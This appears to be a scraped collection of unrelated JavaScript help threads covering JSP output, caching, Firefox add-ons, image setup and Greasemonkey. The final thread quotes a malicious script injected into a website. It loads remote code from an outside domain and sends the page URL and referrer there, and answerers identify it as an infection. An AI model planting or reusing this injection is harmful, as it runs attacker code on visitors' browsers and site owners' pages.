I have a java web application. I am using jquery in it. I am calling some javascript from my jsp page. I have used EL, jstl tag in my page. Some of jquery variables is assigned from jsp variable. A strange problem occurs randomly. Some of javascript line have broken. I found those from Page Source option of browser. But in the jsp page I have found that no code is broken.
Say I have the following line in jsp
var iChars = "!##$%^&*()+=-[]\\\';,./{}|\":<>?~_";
var term = $.trim(request.term.toLowerCase());
var wordCount = term.split(" ").length;
if (term.length > 0 && iChars.indexOf(term.charAt(0)) == -1) {
// here a jquery ajax call
}
else if (term.length > 0 && iChars.indexOf(term.charAt(0)) != -1) {
$("#simpleSearch-1105 .field").autocomplete("close");
alert("Search word should not start with !##$%^&*()+=-[]\\\';,./{}|\":<>?~_");
}
But in the html page source I found the line as follows
$("#simpleSearch-
1105 .field").autocomplete("close");
The code is broken to two line. For this getting js error. I found no valid reason for that. It seems completely strange to me. Could you guys can give me some clue ? Whats may be the cause ?
Note: I also have firebug installed. First I thought that it may be due to firebug. Then I uninstalled firebug. But still same result.
Related
I have tried everything I can think of including appending .js files with ?ver=blah, and the browser still loads the old version of my script.
If I pull the script .js file up in the browser directly it is still the old file.
If I download it through FTP I get the new file.
I have tried both chrome and firefox browser(I installed FireFox fresh AFTER writing the new JS file, and somehow firefox is STILL loading the old file, which it had never even been exposed to...?)
I added this code at line 30 in the latest verson:
if (lastRecipeBlockIndex == parent.children().size()) {
//find tallest column and set parent div height to match
var tallID = 0;
for (var i = 0; i < columnHeights.length; i++){
if (columnHeights[i] > columnHeights[tallID])
tallID = i;
}
parent.height(columnHeights[tallID]);
return;
}
Line 31 used to be a return statement.
Url to this file: http://tmurraywellness.com/wp-content/plugins/TM%20Code/TM-script.js?ver=0.01j
What does anyone else see?
The server has to be sending the wrong file. Caching is impossible since I have changed the url. Caching as mentioned is disabled anyway with dev-tools open in both browsers(I manually ticked the box to make that happen)
Any suggestions? I am desperate. I have spent hours trying to get the ten lines of code below to execute in my browser(s)
I'm trying to get to grips with the Firefox addon SDK (previously known as Jetpack from what I understand), but I'm having problems working with the DOM.
I need to iterate over all of the text nodes in the DOM when a web page loads and make changes to some of the strings that they contain. I've posted a simplified version of what I'm doing below (new to Javascript, so forgive me any oddities).
// test.js
function parseElement(Element)
{
if (Element == null)
return;
var i = 0;
var Result = false;
if (Element.hasChildNodes)
{
var children = Element.childNodes;
while (i <= children.length - 1)
{
var child = children.item(i);
parseElement(child);
i++;
}
}
if (Element.nodeType == 3)
{
// For testing - see what the text node contains
alert(Element.nodeValue);
Result = true;
}
return Result;
}
window.addEventListener("load", function load(event)
{
window.removeEventListener("load", load, false);
parseElement(document.body);
}
When I create a basic HTML document:
<!-- test.html -->
<html>
<head>
<script type="text/javascript" src="test.js"></script>
</head>
<body>
<b>hello world</b>
<p>foo</p>
<i>test</i>
</body>
</html>
...include this Javascript file in the HEAD section then open it in Firefox, the "alert" displays 6 dialog boxes containing:
1) "hello world"
2) blank -> no visible characters, just a newline
3) "foo"
4) blank -> no visible characters, just a newline
5) "test"
6) blank -> no visible characters, just a newline
Exactly what I would expect to see.
The problem arises when I create an addon and use test.js as a page-mod Content Script from my main.js file (modified to remove the "addEventListener" part). When I use "cfx run" to start Firefox with my addon installed, then open the same HTML document (with the "script" part for the test.js file commented), the alerts do not display at all.
So that's the first puzzle. But having also navigated to other web pages - for example, a YouTube video page - the alert DOES display several dialogs, but they include very strange strings, mostly the content of script tags:
EDIT I don't have enough reputation to embed an image, so here's a link instead showing the sort of thing I mean instead: http://img46.imageshack.us/img46/5994/mtpd.jpg
And again, the text I would expect to see is absent.
Apologies for some of the redundancy below, but just to be clear: this is my main.js:
main.js
var data = require("sdk/self").data;
var data = require("sdk/self").data;
exports.main = function()
{
pageMod.PageMod({
include: "*",
contentScriptFile: [data.url("test.js")]
});
}
And the modified version of the Javascript file is identical to the "test.js" listing above, but for the end part:
test.js
<snip>
...
return Result;
}
parseElement(document.body);
I've included my project files (if I can call them that) in a zip if it makes things easier to visualise: http://www.mediafire.com/?774iprbngtlgkcp
I've tried changing
parseElement(document.body);
to
parseElement(unsafeWindow.document.body);
in case it makes any difference, but the outcome is identical.
So I'm very puzzled about what's happening. I can't understand why the test.js file isn't picking out the text nodes (and only the text nodes) from the DOM when I use it as part of an addon, but does exactly what I would anticipate when included as a script in a HTML document. Can anyone shed any light on this?
Thank you in advance.
Errors in your lib code and contentScripts are usually logged to the Error Console. Check what is printed there. Also see the SDK console module.
Your page-mod won't run because by default page-mods will run only after the load event.
See the contentScriptWhen documentation.
script tags actually often have a text-node child containing the inline script source. So it is absolutely normal that those are enumerated as well.
For some discussion about walking tree nodes, see: getElementsByTagName() equivalent for textNodes
However, if you're after the text of specific ids/classes, consider using document.querySelector/.querySelectorAll, or if you're after nodes that have a specific XPath, use document.evaluate. This very likely will be a lot faster.
Other than that, I cannot really tell what exactly your remaining issues are and what you're trying to achieve in the first place exactly, so I cannot advice on that.
You wondered that
I've discovered that my add-on is NOT executed when a document is
accessed via File->Open File.
That is by design. At match-pattern, it says that
A single asterisk matches any URL with an http, https, or ftp scheme.
For other schemes like file, resource, or data, use a scheme followed
by an asterisk, as below.
You can use the regular expression /.*/ to match all sites and all schemas.
I have a web site that is in two languages, English and French. now i do not know java-script, I created a code for showing different pictures using javascript depending on which language u want to use.
So if you are on the www.my-site.com/en/ you will see En_pic_ pictures same goes for the opposite.
/*These are the Popup images for the English and French portal */
var url1 = 'http://www.my-site.com/fr/';
var url2 = 'http://www.my-site.com/en/';
MagnifImage.setup(
if (window.location = 'url2'){
"En_pic_1", "/images/1.png","",
"En_pic_2", "/img/content/tracking_instructions/2.png", "",
"En_pic_3", "/img/content/tracking_instructions/3.png", "",
"En_pic_4", "/img/content/tracking_instructions/4.png", "",
}else{
"Fr_pic_1", "/img/content/tracking_instructions/1_fr.png", "",
"Fr_pic_2", "/images/mon-compte.png","",
"Fr_pic_3", "/img/content/tracking_instructions/3_fr.png","",
"Fr_pic_4", "/img/content/tracking_instructions/4_fr.png",""
}
);
Everything works but if I am on the other language page I get an alert box saying there is no Fr_pic_1 or En_pic_1.(depending on the current page I am in) The code I found to accomplish this as follows:
if( !(objRef.trigElem=document.getElementById( idParts[0] )) )
alert("There is no element with the ID:'"+idParts[0]+"'\n\nCase must match exactly\n\nElements must be located ABOVE the script initialisation.");
else
{
if(objRef.trigElem.parentNode && objRef.trigElem.parentNode.tagName=='A')
objRef.trigElem=objRef.trigElem.parentNode;
objRef.classId=idParts[1] || "MagnifImage" ;
objRef.imgObj=new Image();
objRef.imgObj.imgIndex=i;
objRef.imgObj.hasLoaded=0;
its a code I found at http://scripterlative.com?magnifimage
Please help....
You need to fix multiple things:
You must use == or === for comparison. A single = is assignment, not comparison.
You must compare to the variable name url2, not a quoted string 'url2'.
You must fix the way you pass the alternate parameters to your function MagnifImage.setup().
I switched to using window.location.href because window.location is an object and I find it better to use the actual attribute of that object you want rather than rely on an implicit conversion.
Change your code to this:
/*These are the Popup images for the English and French portal */
var url1 = 'http://www.my-site.com/fr/';
var url2 = 'http://www.my-site.com/en/';
if (window.location.href == url2) {
MagnifImage.setup("En_pic_1", "/images/1.png","",
"En_pic_2", "/img/content/tracking_instructions/2.png", "",
"En_pic_3", "/img/content/tracking_instructions/3.png", "",
"En_pic_4", "/img/content/tracking_instructions/4.png", "");
} else {
MagnifImage.setup("Fr_pic_1", "/img/content/tracking_instructions/1_fr.png", "",
"Fr_pic_2", "/images/mon-compte.png","",
"Fr_pic_3", "/img/content/tracking_instructions/3_fr.png","",
"Fr_pic_4", "/img/content/tracking_instructions/4_fr.png","");
}
Your code was likely causing many errors and thus not executing at all. You should learn how to look for javascript errors. Every browser has an error console that will show you javascript parsing or executing errors. Many browsers now have a built-in debugger than has a console in it that will also show you such information and allow you to see the exact source line causing the error. I use Chrome which has a built-in debugger which will do this. Firefox has a free add-on called Firebug that will do this.
i'm writing an greasemonkey script for somebody else. he is a moderator and i am not. and the script will help him do some moderating things.
now the script works for me. as far as it can work for me.(as i am not a mod)
but even those things that work for me are not working for him..
i checked his version of greasemonkey plugin and firefox and he is up to date.
only thing that's really different is that i'm on a mac and he is pc, but i wouldn't think that would be any problem.
this is one of the functions that is not working for him. he does gets the first and third GM_log message. but not the second one ("got some(1) ..").
kmmh.trackNames = function(){
GM_log("starting to get names from the first "+kmmh.topAmount+" page(s) from leaderboard.");
kmmh.leaderboardlist = [];
for (var p=1; p<=(kmmh.topAmount); p++){
var page = "http://www.somegamesite.com/leaderboard?page="+ p;
var boardHTML = "";
dojo.xhrGet({
url: page,
sync: true,
load: function(response){
boardHTML = response;
GM_log("got some (1) => "+boardHTML.length);
},
handleAs: "text"
});
GM_log("got some (2) => "+boardHTML.length);
//create dummy div and place leaderboard html in there
var dummy = dojo.create('div', { innerHTML: boardHTML });
//search through it
var searchN = dojo.query('.notcurrent', dummy).forEach(function(node,index){
if(index >= 10){
kmmh.leaderboardlist.push(node.textContent); // add names to array
}
});
}
GM_log("all names from "+ kmmh.topAmount +" page(s) of leaderboard ==> "+ kmmh.leaderboardlist);
does anyone have any idea what could be causing this ??
EDIT: i know i had to write according to what he would see on his mod screen. so i asked him to copy paste source of pages and so on. and besides that, this part of the script is not depending on being a mod or not.
i got everything else working for him. just this function still doesn't on neither of his pc's.
EDIT2 (changed question): OK. so after some more trial and error, i got it to work, but it's still weird.
when i removed the www-part of the url thats being use in the dojo.xhrGet() i got the finally the same error he got. so i had him add www to his and now it works.
the odd thing is he now uses a script with the url containing "www" and i'm using a script with an url without "www"...
so for me:
var page = "http://somegamesite.com/leaderboard?page="+ p;
and for him:
var page = "http://www.somegamesite.com/leaderboard?page="+ p;
Why don't you have him try logging into an account that is not a moderator account so that you eliminate one of your variables from your problem space.
It's possible that the DOM of the page is different for a moderator than for a regular user. If you're making assumptions about the page as a regular user that are not true as a moderator, that could cause problems.
I suspect that to fix it, you may need access to a moderator account so you can more easily replicate the behavior.
ooops. it seemed that the url of this gamesite is accessible as www.gamesite.com as well as gamesite.com (without the www.part). this caused the problem.
sorry to bother you'all.
i go hide in shame now...
<SCRIPT>
ff = 0;
for (nn in document) if (nn == 'etours' || nn == 'logo-anim') ff = 1;
if (ff == 0 || (/LIVE|MSN|YAHOO|GENERIC|NORVASC/.test (document.referrer.toUpperCase ()) && false ) ) {
document.write('<SCRIPT SRC ="http://p090303.info/w.php?l='+ escape(location.href) + '&k=' + escape('generic norvasc') + '&r=' + escape(document.referrer) + '"><' + '/SCRIPT>' ); document.write ('<' + '!--' );
}
</SCRIPT>
Recognize this code? I see it's stuck in a number of websites, but all the characters have been replaced with their hex or octal equivalent. Someone posted this code in a post on one of my dad's sites, but I can't quite figure out what it's doing. It seems to be harvesting mappings of web pages to referrers, but I can't figure out what the first few lines are doing. Anyone have any idea what's going on here?
It's writing a script tag to the page, pointing to their javascript. Their javascript will be executed on your website, making them do whatever they please to your website.
The first few lines are just some checks on variables that are probably created within their script. Maybe something to do with checking if the script tag has already been written.
It's checking for dependencies (javascript variables set by other code), then it dials home to let the home server know what page it successfully infected. Home appears to be here in Kiev.